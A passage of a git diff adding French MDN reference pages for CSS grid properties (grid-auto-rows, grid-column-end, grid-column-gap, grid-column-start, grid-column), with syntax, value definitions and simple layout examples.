+ <li>{{cssxref("grid-auto-rows")}}</li>
+ <li>{{cssxref("grid-auto-columns")}}</li>
+ <li>{{cssxref("grid")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Placement_automatique_sur_une_grille_CSS">Guide : le placement automatique sur la grille</a></li>
+ <li>Tutoriel vidéo : <a href="http://gridbyexample.com/video/series-auto-placement-order/">Introduction au placement automatique sur la grille et à l'ordre des éléments (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/grid-auto-rows/index.html b/files/fr/web/css/grid-auto-rows/index.html
new file mode 100644
index 0000000000..cd4d6c6b97
--- /dev/null
+++ b/files/fr/web/css/grid-auto-rows/index.html
@@ -0,0 +1,153 @@
+---
+title: grid-auto-rows
+slug: Web/CSS/grid-auto-rows
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/grid-auto-rows
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>grid-auto-rows</code></strong> définit la taille d'une ligne de grille créée de façon implicite.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-auto-rows.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Si un élément de la grille est positionné sur une ligne dont la taille n'est pas explicitement définie avec {{cssxref("grid-template-rows")}}, une piste implicite est créée pour contenir l'élément. Cela peut se produire lorsqu'on positionne un élément sur une ligne inexistante ou lorsque l'algorithme de placement automatique ajoute des lignes supplémentaires.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+grid-auto-rows: min-content;
+grid-auto-rows: max-content;
+grid-auto-rows: auto;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+grid-auto-rows: 100px;
+grid-auto-rows: 20cm;
+grid-auto-rows: 50vmax;
+
+/* Valeurs proportionnelles */
+/* Type &lt;percentage&gt;        */
+grid-auto-rows: 10%;
+grid-auto-rows: 33.3%;
+
+/* Valeurs &lt;flex&gt; */
+grid-auto-rows: 0.5fr;
+grid-auto-rows: 3fr;
+
+/* Valeurs minmax() */
+grid-auto-rows: minmax(100px, auto);
+grid-auto-rows: minmax(max-content, 2fr);
+grid-auto-rows: minmax(20%, 80vmax);
+
+/* Gestion de plusieurs pistes */
+grid-auto-rows: min-content max-content auto;
+grid-auto-rows: 100px 150px 390px;
+​​​​​​​grid-auto-rows: 10% 33.3%;
+grid-auto-rows: 0.5fr 3fr 1fr;
+​​​​​​​grid-auto-rows: minmax(100px, auto) minmax(max-content, 2fr) minmax(20%, 80vmax);
+grid-auto-rows: 100px minmax(100px, auto) 10% 0.5fr fit-content(400px);
+
+
+/* Valeurs globales */
+grid-auto-rows: inherit;
+grid-auto-rows: initial;
+grid-auto-rows: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une longueur positive (cf. type {{cssxref("&lt;length&gt;")}}.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Un pourcentage positif indiquant la taille de la ligne relativement à la taille du bloc qui contient la grille. Si la taille de ce bloc n'est pas définie, la valeur exprimée en pourcents est considérée comme <code>auto</code>.</dd>
+ <dt><code>&lt;flex&gt;</code></dt>
+ <dd>Une dimension positive dont l'unité <code>fr</code> indique le facteur de flexibilité de la piste. Chaque piste dimensionnée avec <code>&lt;flex&gt;</code> occupera une partie de l'espace restant en fonction de ce facteur.
+ <p>Lorsque cette valeur apparaît en dehors de la notation <code>minmax()</code>, la valeur minimale <code>auto</code> est implicite (la valeur signifie <code>minmax(auto, &lt;flex&gt;)</code>).</p>
+ </dd>
+ <dt><code>max-content</code></dt>
+ <dd>Un mot-clé qui représente la plus grande des contributions maximales de contenu aux objets de la grilles qui occupe la piste de la grille.</dd>
+ <dt><code>min-content</code></dt>
+ <dd>Un mot-clé qui représente la plus grande des contributions minimales de contenu aux objets de la grilles qui occupe la piste de la grille</dd>
+ <dt><code>minmax(min, max)</code></dt>
+ <dd>Une notation fonctionnelle qui définit un intervalle de taille entre <code>min</code> et <code>max</code>. Si <code>max</code> est inférieur à <code>min</code>, <code>max</code> est ignoré et la fonction est traitée comme un minimum. En tant que maximum, elle joue le rôle d'une valeur <code>&lt;flex&gt;</code> qui définit le facteur de flexibilité de la piste. En tant que minimum, elle est gérée comme zéro (ou comme le contenu minimal si le conteneur de la grille impose une contrainte de contenu minimal).</dd>
+ <dt><code>auto</code></dt>
+ <dd>Un mot-clé qui est identique au contenu maximal si c'est un maximum. Si c'est un minimum, il représente la plus grande des plus petites tailles (définie par {{cssxref("min-width")}}/{{cssxref("min-height")}})) des objets de la grilles qui occupe cette piste de la grille.</dd>
+ <dd>
+ <p class="note"><strong>Note :</strong> Les pistes de taille <code>auto</code> (et uniquement celles-ci) peuvent être étirées grâce aux propriétés {{cssxref("align-content")}} et {{cssxref("justify-content")}}.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[6]">#grid {
+  width: 200px;
+  display: grid;
+  grid-template-areas: "a a";
+  grid-gap: 10px;
+  grid-auto-rows: 100px;
+}
+
+#grid &gt; div {
+  background-color: lime;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+  &lt;div id="item1"&gt;&lt;/div&gt;
+  &lt;div id="item2"&gt;&lt;/div&gt;
+  &lt;div id="item3"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "210px", "210px")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-auto-rows", "grid-auto-rows")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.grid-auto-rows")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("grid-auto-columns")}}</li>
+ <li>{{cssxref("grid-auto-flow")}}</li>
+ <li>{{cssxref("grid")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Placement_automatique_sur_une_grille_CSS#Dimensionner_les_lignes_de_la_grille_implicite">Guide : le placement automatique sur la grille - dimensionner les lignes de la grille implicite</a></li>
+ <li>Tutoriel vidéo : <a href="http://gridbyexample.com/video/series-auto-placement-order/">Introduction au placement automatique sur la grille et à l'ordre des éléments (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/grid-column-end/index.html b/files/fr/web/css/grid-column-end/index.html
new file mode 100644
index 0000000000..f47f8896cc
--- /dev/null
+++ b/files/fr/web/css/grid-column-end/index.html
@@ -0,0 +1,166 @@
+---
+title: grid-column-end
+slug: Web/CSS/grid-column-end
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/grid-column-end
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>grid-column-end</code></strong> définit la position de la fin d'un élément de la grille dans une zone donnée ou sur un fragment de colonne donné.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-column-end.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeur avec un mot-clé */
+grid-column-end: auto;
+
+/* Valers &lt;custom-ident&gt; */
+grid-column-end: somegridarea;
+
+/* Valeurs &lt;integer&gt; + &lt;custom-ident&gt; */
+grid-column-end: 2;
+grid-column-end: somegridarea 4;
+
+/* Valeurs span + &lt;integer&gt; + &lt;custom-ident&gt; */
+grid-column-end: span 3;
+grid-column-end: span somegridarea;
+grid-column-end: 5 somegridarea span;
+
+/* Valeurs globales */
+grid-column-end: inherit;
+grid-column-end: initial;
+grid-column-end: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Un mot-clé qui indique que la propriété ne contribue pas au placement de l'objet sur la grille. Par défaut, la taille du fragment allouée vaut <code>1</code> s'il n'y a pas d'autres contraintes.</dd>
+ <dt><code>&lt;custom-ident&gt;</code></dt>
+ <dd>S'il existe une ligne nommée '&lt;custom-ident&gt;-end', cela placera l'élément sur la première ligne correspondante..
+ <p class="note"><strong>Note :</strong> Les noms de zones génèrent automatiquement les noms de colonnes sous cette forme. Ainsi, <code>grid-column-end: foo;</code> permettra de désigner l'extrêmité (à la fin) de la zone nommée (sauf si une autre colonne a explicitement été nommée avec <code>foo-end</code>).</p>
+
+ <p>Si aucune zone ne correspond, la valeur est traitée comme la combinaison de l'entier 1 et de <code>&lt;custom-ident&gt;</code> (cf. définition suivante).</p>
+ </dd>
+ <dt><code>&lt;integer&gt; &amp;&amp; &lt;custom-ident&gt;?</code></dt>
+ <dd>Contribue au placement de l'élément sur la n-ième ligne. Si une valeur négative est fournie, les lignes correspondantes sont comptées depuis la dernière. Si un nom est fourni pour &lt;custom-ident&gt;, seules les lignes avec ce nom sont comptées. S'il n'y a pas suffisamment de lignes avec ce nom, on considère que toutes les lignes sont intitulées avec ce nom afin de trouver une position.
+ <p>Un entier nul ne peut pas être utilisé (la règle est invalide).</p>
+ </dd>
+ <dt><code>span &amp;&amp; [ &lt;integer&gt; || &lt;custom-ident&gt; ]</code></dt>
+ <dd>Un fragment de grille est utilisé pour le placement de l'élément sur la grille afin que la fin de la colonne pour l'élément de la grille soit placé à n lignes du bord situé au début.
+ <p>Si un nom fourni pour &lt;custom-ident&gt;, seules les lignes ayant ce nom seront comptées. S'il n'y a pas suffisamment de lignes existantes avec ce nom, tout les lignes implicites du côté de la grille explicite et qui correspondent à la direction de la recherche seront comptées afin de placer ce fragment.</p>
+
+ <p>Si &lt;integer&gt; est absent, la valeur par défaut sera 1. Les entiers négatifs ou nuls ne sont pas autorisés.</p>
+
+ <p><code>&lt;custom-ident&gt;</code> ne peut pas prendre la valeur <code>span</code>.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;One&lt;/div&gt;
+  &lt;div class="box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box3"&gt;Three&lt;/div&gt;
+  &lt;div class="box4"&gt;Four&lt;/div&gt;
+  &lt;div class="box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 3;
+  grid-row-end: 5;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+
+.nested {
+  border: 2px solid #ffec99;
+  border-radius: 5px;
+  background-color: #fff9db;
+  padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('Exemples', '230', '420')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-column-end", "grid-column-end")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.grid-column-end")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("grid-column-start")}}</li>
+ <li>{{cssxref("grid-column")}}</li>
+ <li>{{cssxref("grid-row-start")}}</li>
+ <li>{{cssxref("grid-row-end")}}</li>
+ <li>{{cssxref("grid-row")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS">Guide : le placement sur les lignes d'une grille</a></li>
+ <li>Tutoriel vidéo : <a href="http://gridbyexample.com/video/series-line-based-placement/">le placement sur les lignes (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/grid-column-gap/index.html b/files/fr/web/css/grid-column-gap/index.html
new file mode 100644
index 0000000000..e2f69abe13
--- /dev/null
+++ b/files/fr/web/css/grid-column-gap/index.html
@@ -0,0 +1,127 @@
+---
+title: grid-column-gap
+slug: Web/CSS/grid-column-gap
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/column-gap
+---
+<div>{{CSSRef}}{{Deprecated_Header}}</div>
+
+<div class="note">
+<p><strong>Note :</strong> La propriété <code>grid-column-gap</code> a été fusionnée avec la propriété {{cssxref("column-gap")}} afin d'être remplacée par cette dernière.</p>
+</div>
+
+<p>La propriété <strong><code>grid-column-gap</code></strong> définit l'espacement entre les colonnes d'une grille.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-column-gap.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>En termes de dimensionnement, cet espace est traité comme une piste supplémentaire de la longueur indiquée. Les valeurs négatives ne sont pas autorisées.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs de longueur */
+grid-column-gap: 20px;
+grid-column-gap: 1em;
+grid-column-gap: 3vmin;
+grid-column-gap: 0.5cm;
+
+/* Valeurs relatives à la taille */
+/* de l'élément englobant        */
+/* Type &lt;percentage&gt;             */
+grid-column-gap: 10%;
+
+/* Valeurs globales */
+grid-column-gap: inherit;
+grid-column-gap: initial;
+grid-column-gap: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>La largeur de la « gouttière » placée entre les colonnes de la grille. Pour les valeurs exprimées en pourcentages, elles sont relatives aux dimensions de l'élément englobant.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[6]">#grid {
+  display: grid;
+  height: 100px;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: 100px;
+  grid-column-gap: 20px;
+}
+
+#grid &gt; div {
+  background-color: lime;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", "100px")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box Alignment", "#propdef-grid-column-gap", "grid-column-gap")}}</td>
+   <td>{{Spec2("CSS3 Box Alignment")}}</td>
+   <td>Dépréciée afin d'être remplacée par {{cssxref("column-gap")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#gutters", "grid-column-gap")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.grid-column-gap")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Versions standards non-préfixées :
+  <ul>
+   <li>{{cssxref("row-gap")}},</li>
+   <li>{{cssxref("column-gap")}},</li>
+   <li>{{cssxref("gap")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("grid-row-gap")}}</li>
+ <li>{{cssxref("grid-gap")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_concepts_de_base#Les_gouttières">Guide : les concepts de bases : les gouttières</a></li>
+</ul>
diff --git a/files/fr/web/css/grid-column-start/index.html b/files/fr/web/css/grid-column-start/index.html
new file mode 100644
index 0000000000..b49f66fc80
--- /dev/null
+++ b/files/fr/web/css/grid-column-start/index.html
@@ -0,0 +1,178 @@
+---
+title: grid-column-start
+slug: Web/CSS/grid-column-start
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/grid-column-start
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>grid-column-start</code></strong> définit la position du début d'un élément (au sens des propriétés logiques <code>*-block-start</code>) en définissant la ligne ou la taille de fragment occupé sur la grille.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-column-start.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeur avec un mot-clé */
+grid-column-start: auto;
+
+/* Valeur &lt;custom-ident&gt; */
+grid-column-start: unezonedegrille;
+
+/* Valeurs &lt;integer&gt; + &lt;custom-ident&gt; */
+grid-column-start: 2;
+grid-column-start: unezonedegrille 4;
+
+/* Valeurs span + &lt;integer&gt; + &lt;custom-ident&gt; */
+grid-column-start: span 3;
+grid-column-start: span unezonedegrille;
+grid-column-start: span unezonedegrille 5;
+
+/* Valeurs globales */
+grid-column-start: inherit;
+grid-column-start: initial;
+grid-column-start: unset;
+</pre>
+
+<p>La valeur de cette propriété prend la forme d'une seule valeur <code>&lt;grid-line&gt;</code>. Une telle valeur peut être définie avec :</p>
+
+<ul>
+ <li>le mot-clé <code>auto</code></li>
+ <li>ou une valeur <code>&lt;custom-ident&gt;</code></li>
+ <li>ou une valeur <code>&lt;integer&gt;</code></li>
+ <li>ou une valeur <code>&lt;custom-ident&gt;</code> et un <code>&lt;integer&gt;</code> séparés par un espace</li>
+ <li>ou le mot-clé <code>span</code> avec une valeur <code>&lt;custom-ident&gt;</code> ou un <code>&lt;integer&gt;</code> ou les deux.</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Un mot-clé qui indique que la propriété ne contribue pas au placement de l'élément sur la grille. Cela indique un placement automatique, une taille de fragment (<em>span</em>) automatique ou une taille par défaut de <code>1</code>.</dd>
+ <dt><code>&lt;custom-ident&gt;</code></dt>
+ <dd>S'il existe une ligne nommée avec '&lt;custom-ident&gt;-start', la première ligne correspondante contribue au placement de l'élément sur la grille.
+ <p class="note"><strong>Note :</strong> Les noms des zones de grille sont générés implicitement. Ainsi, en utilisant <code>grid-column-start: foo;</code> cela sélectionnera le début de la grille nommée correspondante (sauf si une autre ligne <code>foo-start</code> a été explicitement déclarée).</p>
+
+ <p>Sinon, la valeur est traitée comme si on avait utilisé <code>&lt;custom-ident&gt;</code> et la valeur <code>1</code>.</p>
+ </dd>
+ <dt><code>&lt;integer&gt; &amp;&amp; &lt;custom-ident&gt;?</code></dt>
+ <dd>La n-ième ligne de la grille contribue au placement de l'élément sur la grille. Si un entier négatif est utilisé, le comptage sera fait depuis la fin de la grille explicite.
+ <p>Si un nom est fourni pour &lt;custom-ident&gt;, seules les lignes ayant ce nom seront comptées. S'il n'y a pas suffisamment de lignes existant avec ce nom, toutes les lignes implicites seront comptées afin de trouver la position.</p>
+
+ <p>Si la valeur entière utilisée est <code>0</code>, la règle est invalide.</p>
+ </dd>
+ <dt><code>span &amp;&amp; [ &lt;integer&gt; || &lt;custom-ident&gt; ]</code></dt>
+ <dd>Un fragment de grille est utilisé pour le placement de l'élément sur la grille afin que le début de la ligne pour l'élément de la grille soit placé à n lignes du bord de fin.
+ <p>Si un nom fourni pour &lt;custom-ident&gt;, seules les lignes ayant ce nom seront comptées. S'il n'y a pas suffisamment de lignes existantes avec ce nom, tout les lignes implicites du côté de la grille explicite et qui correspondent à la direction de la recherche seront comptées afin de placer ce fragment.</p>
+
+ <p>Si l'entier n'est pas défini, la valeur par défaut qui sera utilisée sera <code>1</code>. Les entiers négatifs ou nuls sont invalides.</p>
+
+ <p><code>&lt;custom-ident</code><code>&gt;</code> ne peut pas prendre la valeur <code>span</code>.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;One&lt;/div&gt;
+  &lt;div class="box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box3"&gt;Three&lt;/div&gt;
+  &lt;div class="box4"&gt;Four&lt;/div&gt;
+  &lt;div class="box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 3;
+  grid-row-end: 5;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+
+.nested {
+  border: 2px solid #ffec99;
+  border-radius: 5px;
+  background-color: #fff9db;
+  padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('Exemples', '230', '420')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-column-start", "grid-column-start")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.grid-column-start")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("grid-column-end")}}</li>
+ <li>{{cssxref("grid-column")}}</li>
+ <li>{{cssxref("grid-row-start")}}</li>
+ <li>{{cssxref("grid-row-end")}}</li>
+ <li>{{cssxref("grid-row")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS">Guide : le placement sur les lignes d'une grille</a></li>
+ <li>Tutoriel vidéo : <a href="http://gridbyexample.com/video/series-line-based-placement/">le placement sur les lignes (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/grid-column/index.html b/files/fr/web/css/grid-column/index.html
new file mode 100644
index 0000000000..3ad7be06b1
--- /dev/null
+++ b/files/fr/web/css/grid-column/index.html
@@ -0,0 +1,167 @@
+---
+title: grid-column
+slug: Web/CSS/grid-column
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/grid-column
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>grid-column</code></strong> est une <a href="/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies">propriété raccourcie</a> pour {{cssxref("grid-column-start")}} et {{cssxref("grid-column-end")}}. Elle permet de définir la taille et l'emplacement d'un élément sur la grille en indiquant l'emplacement du début, de la fin et/ou sa taille.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-column.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Si deux valeurs <code><strong>&lt;grid-line&gt;</strong></code> sont utilisées pour la propriété, la valeur de <strong><code>grid-column-start</code></strong> sera définie avec la première valeur avant la barre oblique et la valeur de <strong><code>grid-column-end</code></strong> sera définie avec celle qui est située après la barre oblique.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+grid-column: auto;
+grid-column: auto / auto;
+
+/* Valeurs &lt;custom-ident&gt; */
+grid-column: unezonedegrille;
+grid-column: unezonedegrille / unezonedegrille;
+
+/* Valeurs &lt;integer&gt; + &lt;custom-ident&gt; */
+grid-column: unezonedegrille 4;
+grid-column: 4 unezonedegrille / 6;
+
+/* Valeurs span + &lt;integer&gt; + &lt;custom-ident&gt; */
+grid-column: span 3;
+grid-column: span unezonedegrille;
+grid-column: 5 unezonedegrille span;
+grid-column: span 3 / 6;
+grid-column: span unezonedegrille / span unezonedegrille;
+grid-column: 5 unezonedegrille span / 2 span;
+
+/* Valeurs globales */
+grid-column: inherit;
+grid-column: initial;
+grid-column: unset;
+</pre>
+
+<p>Cette propriété est définie grâce à une ou deux valeurs <code>&lt;grid-line&gt;</code>. Si deux valeurs <code>&lt;grid-line&gt;</code> sont fournies, elles doivent être séparées par une barre oblique (/)</p>
+
+<p>Une valeur <code>&lt;grid-line&gt;</code> peut être définie avec :</p>
+
+<ul>
+ <li>le mot-clé <code>auto</code></li>
+ <li>ou une valeur <code>&lt;custom-ident&gt;</code></li>
+ <li>ou une valeur <code>&lt;integer&gt;</code></li>
+ <li>ou une valeur <code>&lt;custom-ident&gt;</code> et un <code>&lt;integer&gt;</code> séparés par un espace</li>
+ <li>ou le mot-clé <code>span</code> avec une valeur <code>&lt;custom-ident&gt;</code> ou un <code>&lt;integer&gt;</code> ou les deux.</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Un mot-clé qui indique que la propriété ne contribue pas au placement de l'élément sur la grille. Cela indique un placement automatique, une taille de fragment (<em>span</em>) automatique ou une taille par défaut de <code>1</code>.</dd>
+ <dt><code>&lt;custom-ident&gt;</code></dt>
+ <dd>S'il existe une ligne nommée avec '&lt;custom-ident&gt;-start'/'&lt;custom-ident&gt;-end', la première colonne correspondante contribue au placement de l'élément sur la grille.
